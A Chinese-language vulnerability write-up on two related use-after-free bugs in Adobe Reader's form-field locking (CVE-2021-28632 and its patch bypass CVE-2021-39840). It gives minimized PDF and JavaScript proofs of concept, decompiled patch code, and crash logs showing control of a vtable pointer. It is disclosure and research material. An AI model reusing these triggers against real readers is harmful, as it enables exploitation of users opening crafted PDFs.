CVE-2021-28632 & CVE-2021-39840: 绕过adobe reader中的锁

 

前言

这篇博文描述了我提交给 ZDI 的两个 Adobe Reader 释放后使用漏洞:一个来自 2021 年 6 月的补丁 ( CVE-2021-28632 ),一个来自 2021 年 9 月的补丁 ( CVE-2021-39840 )。关于这两个bug的一个有趣方面是它们是相关的——第一个错误是通过模糊测试发现的,第二个错误是通过逆向工程发现的,它绕过第一个错误的补丁。

 

CVE-2021-28632:了解字段锁

一天清晨,在对fuzz结果进行例行崩溃分析时,一个 Adobe Reader 崩溃引起了我的注意:

** Adobe Reader DC 2021.001.20135 

eax=549b6fe8 ebx=00000000 ecx=04cfb49c edx=40004000 esi=549b6fe8 edi=3344afa8 
eip=67147215 esp=04cfb504 ebp=04cfb544 iopl=0         nv up ei pl zr na pe nc 
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246 
AcroForm!DllUnregisterServer+0xd0b45: 
67147215 8b4f14          mov     ecx,dword ptr [edi+14h] ds:002b:3344afbc=????????

在经过几个小时的样本最小化和清理fuzzer生成的 PDF 文件后,最终简化的PoC 如下所示(PDF部分仅限重要的内容):

8 0 obj 
<< 
    /FT /Tx 
    /Kids [9 0 R]                    % [A] 
    /T (fieldParent) 
>> 
endobj 

9 0 obj 
<< 
    /FT /Tx 
    /T (fieldChild) 

    /Type /Annot                    % [B] 
    /Subtype /Widget 
    /Rect [0 0 1 1] 
>> 
endobj

JavaScript 部分:

function callback() { 
    removeField("fieldChild");                        // [1] 
} 

try { 
    fieldParent = getField("fieldParent"); 
    fieldParent.setAction("Format", "callback()");    // [2] 
    fieldParent.textSize = 1;                         // [3] 
}catch(e) { 
    app.alert("exception: " + e) 
}

崩溃是涉及到CPDField对象的一个UAF。CPDField对象是AcroForm.api的内部C++对象,在交互式表单中代表文本字段、按钮字段等。

在上面的PDF部分中,创建了两个CPDField对象来代表两个文本字段,名为fieldParent和fieldChild。这里需要注意的是,创建的对象是一个CTextField类型,它是CPDField的子类,用于文本字段。为了简化讨论,它们将被称为CPDField对象。

触发该错误的一个重要因素是,fieldChild应该是fieldParent的子类,通过在fieldParent PDF对象字典的/Kidskey中指定它(见上文),正如PDF文件格式规范中所记载的那样。

与该bug有关的另一个重要概念是,为了防止CPDField对象在使用中被释放,使用了一个名为LockFieldProp的内部属性。CPDField对象的内部属性是通过一个C++ map成员变量来存储的。

如果LockFieldProp不为零,意味着CPDField对象被加锁,不能被释放;如果它为零或未被设置,意味着CPDField对象被解锁,可以被释放。下面是PoC中两个CPDField对象在调用字段锁的代码(后面会讨论)之前的可视化表示:fieldParent是解锁状态(LockFieldProp为0),呈绿色,fieldChild也是解锁状态(LockFieldProp未设置),也呈绿色。

在PoC的JavaScript部分,代码设置了一个JavaScript回调,以便当fieldParent的 “Format “事件被触发时,自定义的JavaScript函数callback()会被执行。然后JavaScript代码通过设置fieldParent的textSize属性来触发 “Format “事件。在内部,这将执行AcroForm.api中JavaScript Field对象的textSize属性设置器。

AcroForm.api中textSize属性设置器的第一个动作是针对fieldParent调用以下代码加锁。

// Ghidra decompiled code 
// 0x20b96568 in AcroForm.api (Adobe Reader DC 2021.001.20135) 
// Except for "CPDField", all names are assumed (not actual) 

CFieldLock * __thiscall CFieldLock::lock(CFieldLock *this, CPDField *field) 
{ 
  uint16_t locked; 

  this->field = field; 
  this->locked = 0; 
  if (field != (CPDField *)0x0) { 
    locked = LockFieldPropGet(field); 
    if (locked == 0) { 
      LockFieldPropSet(this->field,1);    // [AA] 
      this->locked = 1; 
    } 
  } 
  return this; 
}

上述代码通过将其LockFieldProp属性设置为1[AA],锁定了传递给它的CPDField对象。

执行字段加锁代码后,fieldParent(加锁:红色)和fieldChild(解锁:绿色)的锁状态如下。

注意在Adobe Reader的后期版本中,LockFieldProp的值是一个指向计数器的指针,而不是被设置为1或0的值。

接下来,AcroForm.api中的textSize属性设置器递归调用下面的CPDField方法,在这里发生了UAF。

// Ghidra decompiled code 
// 0x20b971a0 in AcroForm.api (Adobe Reader DC 2021.001.20135) 
// Except for "CPDField", all names are assumed (not actual) 

void __thiscall CPDField::propagateNotification(CPDField *this,undefined4 param1,undefined4 param2) 
{ 
  // 1st call: `this` points to fieldParent 
  // 2nd call: `this` points to fieldChild 

  // [...] 

    if ((int)this->widgetEnd - (int)this->widgetStart >> 2 == 0){                // [aa] 

      // 1st call: `this` points to fieldParent 

      CPDField::getKidsHandle(this,&kidsHandle); 
      getHandleType = g_AcroRdObjFuncs->PDHandleGetType; 
      handleLo_ = (uint32_t)kidsHandle; 
      handleHi_ = kidsHandle._4_4_; 
      _guard_check_icall(getHandleType); 
      handleType = (*getHandleType)(CONCAT44(handleHi_,handleLo_)); 
      if (handleType == PDHANDLE_TYPE_ARRAY) { 
        arrayGetLen = g_AcroRdObjFuncs->PDArrayGetLen; 
        handleLo__ = (uint32_t)kidsHandle; 
        handleHi__ = kidsHandle._4_4_; 
        _guard_check_icall(arrayGetLen); 
        kidsLen = (*arrayGetLen)(CONCAT44(handleHi__,handleLo__)); 

        // For each of the field's children, perform a recursive call 

        for (kidsIndex = 0; kidsIndex < kidsLen; kidsIndex = kidsIndex + 1) {    // [bb] 
          arrayGetItemAtIndex = g_AcroRdObjFuncs->PDArrayGetItemAtIndex; 
          handleLo___ = (uint32_t)kidsHandle; 
          handleHi___ = kidsHandle._4_4_; 
          kidsIndex_ = kidsIndex; 
          _guard_check_icall(arrayGetItemAtIndex); 
          kidHandle = (*arrayGetItemAtIndex)(CONCAT44(handleHi___,handleLo___),kidsIndex_); 
          field = FieldNameMap::getByHandle(this->fieldNameMap,kidHandle,1); 
          if (field != (CPDField *)0x0) { 

            // `field` will point to fieldChild 

            propagateNotification = field->vftable->propagateNotification; 
            uVar5 = param1; 
            uVar6 = param2; 
            _guard_check_icall(propagateNotification); 

            // perform recursive call with the `this` pointer pointing to fieldChild 

            (*propagateNotification)(field,uVar5,uVar6);                         // [cc] 
          } 
        } 
      } 
    } 
    else { 
      if (this->field_0x24 == 0) { 

        // 2nd call: `this` points to fieldChild 

        // Triggers a notification that results in the execution of the 
        // custom JavaScript callback() function that will free fieldChild 

        notify = this->vftable->notify; 
        uVar5 = param1; 
        _guard_check_icall(notify); 
        pCVar3 = (CPDField *)(*notify)(this,uVar5);                              // [dd] 

        // `this` pointer (fieldChild) is now a dangling pointer 

        // [...] 
      } 
    } 
    // [...] 
  } 
  return; 
}

在第一次调用上述方法时,this指针指向加锁的fieldParent CPDField对象。因为它没有相关的部件[aa](上方[aa]处的代码,下同),该方法执行了一个递归调用[cc],this指针指向fieldParent的每个子对象[bb]。

因此,在第二次调用上述方法时,this指针指向fieldChild CPDField对象,由于它有一个相关的widget(见PoC中PDF部分的[B]),一个通知将被触发[dd],导致自定义JavaScriptcallback()函数被执行。如上图所示,加锁代码只锁定了fieldParent,而fieldChild却没有被加锁。因为fieldChild被解锁了,自定义JavaScriptcallback()函数中的removeField(“fieldChild”)调用(见PoC中JavaScript部分的[1])成功地释放了fieldChild CPDField对象。这导致递归方法中的this指针在[dd]的调用后成为一个悬挂的指针。随后此悬挂指针被解引用,导致崩溃。

这是第一个漏洞在2021年6月被Adobe修补,并分配给CVE-2021-28632。

 

CVE-2021-39840: 逆向补丁和绕过锁

我很好奇Adobe是如何修补CVE-2021-28632的,所以在补丁发布后,我决定看一下更新后的AcroForm.api。

在逆向更新后的字段加锁代码时,我注意到添加了一个对加锁传递字段的直接子类的方法的调用:

// Ghidra decompiled code 
// 0x20b966d8 in AcroForm.api (Adobe Reader DC 2021.005.20048) 
// Except for "CPDField", all names are assumed (not actual) 

CFieldLock * __thiscall CFieldLock::lock(CFieldLock *this,CPDField *field) 
{ 
  uint16_t locked; 
  CPDField *field_; 

  this->field = field; 
  this->locked = 0; 
  if ((field != (CPDField *)0x0) && (locked = LockFieldPropGet(field), locked == 0)) { 
    LockFieldPropSet(this->field,1); 
    field_ = this->field; 
    this->locked = 1; 
    if ((int)field_->widgetEnd - (int)field_->widgetStart >> 2 == 0) { 
      CPDField::lockUnlockKids(field_,1);    // Added call: Lock the field's immediate descendants 
    } 
  } 
  return this; 
}

通过添加的代码,fieldParent和fieldChild都将被加锁,第一个错误的PoC将在释放fieldChild时失败。

在评估更新后的代码时,我产生了一个想法:由于加锁代码只额外锁定字段的直系子类,如果该字段有一个非直系子类呢?我迅速将CVE-2021-28632的PoC修改为以下内容。

PDF部分(只有重要部分)。

9 0 obj 
<< 
    /FT /Tx 
    /Kids [10 0 R] 
    /T (fieldParent) 
>> 
endobj 

10 0 obj 
<< 
    /FT /Tx 
    /T (fieldChild) 
    /Kids [11 0 R] 
>> 
endobj 

11 0 obj                      % Added a grandchild field 
<<                            % fieldGrandChild is a grandchild of fieldParent 
    /FT /Tx 
    /T (fieldGrandChild) 

    /Type /Annot 
    /Subtype /Widget 
    /Rect [0 0 1 1] 
>> 
endobj

JavaScript部分:

function callback() { 
    removeField("fieldGrandChild");     // free the fieldGrandChild CPDField object 
} 

try { 
    fieldParent = getField("fieldParent"); 
    fieldParent.setAction("Format", "callback()"); 
    fieldParent.textSize = 1; 
}catch(e) { 
    app.alert("exception: " + e) 
}

然后在调试器下的Adobe Reader中加载更新后的PoC,点击开始……然后崩溃了!

** Adobe Reader DC 2021.005.20048 

(2568.2504): Access violation - code c0000005 (first chance) 
First chance exceptions are reported before any exception handling. 
This exception may be expected and handled. 
eax=4334cfe8 ebx=00000000 ecx=6381b85b edx=00400000 esi=4334cfe8 edi=33ddcfa0 
eip=637f73b5 esp=0057b6a4 ebp=0057b6e4 iopl=0         nv up ei pl zr na pe nc 
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246 
AcroForm!DllUnregisterServer+0xd0bb5: 
637f73b5 8b4f14          mov     ecx,dword ptr [edi+14h] ds:002b:33ddcfb4=????????

补丁被绕过了,Adobe Reader在之前讨论的递归方法中的同一位置崩溃了,和上一个UAF一样。

经过进一步分析,我确认下图是调用递归方法时字段锁的状态。请注意,fieldGrandChild是解锁状态,因此,可以被释放。

递归的CPDField方法从指向fieldParent的this指针开始,接着用指向fieldChild的this指针调用自身,然后用指向fieldGrandChild的this指针再次调用自身。由于fieldGrandChild有一个附加的部件,释放fieldGrandChild的JavaScriptcallback()函数被执行,有效地使this指针成为一个悬挂的指针。

这是第二个漏洞在2021年9月被Adobe修补,并分配给CVE-2021-39840。

 

控制字段对象

通过JavaScript控制被释放的CPDField对象是很直接的:在通过调用removeField()释放CPDField对象后,JavaScript代码可以用类似大小的数据或一个对象喷射占领堆块,以替换被释放的CPDField对象的内容。

当我向ZDI提交报告时,包括了第二个PoC,它展示了对CPDField对象的完全控制,然后对一个受控的、虚函数表指针进行解引用。

** Adobe Reader DC 2021.005.20048 
** Debug log of PoC for CVE-2021-39840 

[...] 

eax=101000d8 ebx=00000000 ecx=00000000 edx=00000001 esi=0d049dc0 edi=0f08abf8 
eip=64c673d9 esp=050fb5cc ebp=050fb614 iopl=0         nv up ei pl nz na po nc 
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202 
AcroForm!DllUnregisterServer+0xd0bd9: 
64c673d9 8b7030          mov     esi,dword ptr [eax+30h] ds:002b:10100108=41414141 

0:000> u 
AcroForm!DllUnregisterServer+0xd0bd9: 
64c673d9 8b7030          mov     esi,dword ptr [eax+30h] 
64c673dc 8bce            mov     ecx,esi 
64c673de ff1544690965    call    dword ptr [AcroForm!DllUnregisterServer+0x500144 (65096944)] ; CFG check 
64c673e4 8b4dec          mov     ecx,dword ptr [ebp-14h] 
64c673e7 ffd6            call    esi    ; call using a controlled register (esi)

 

总结

对象树的实现,特别是那些可以任意控制和销毁对象的应用,很容易出现 “UAF”漏洞。对于开发者来说,必须特别注意对象引用跟踪和对象锁的实现。对于漏洞研究者来说,它们代表了发现有趣的漏洞的机会。

(完)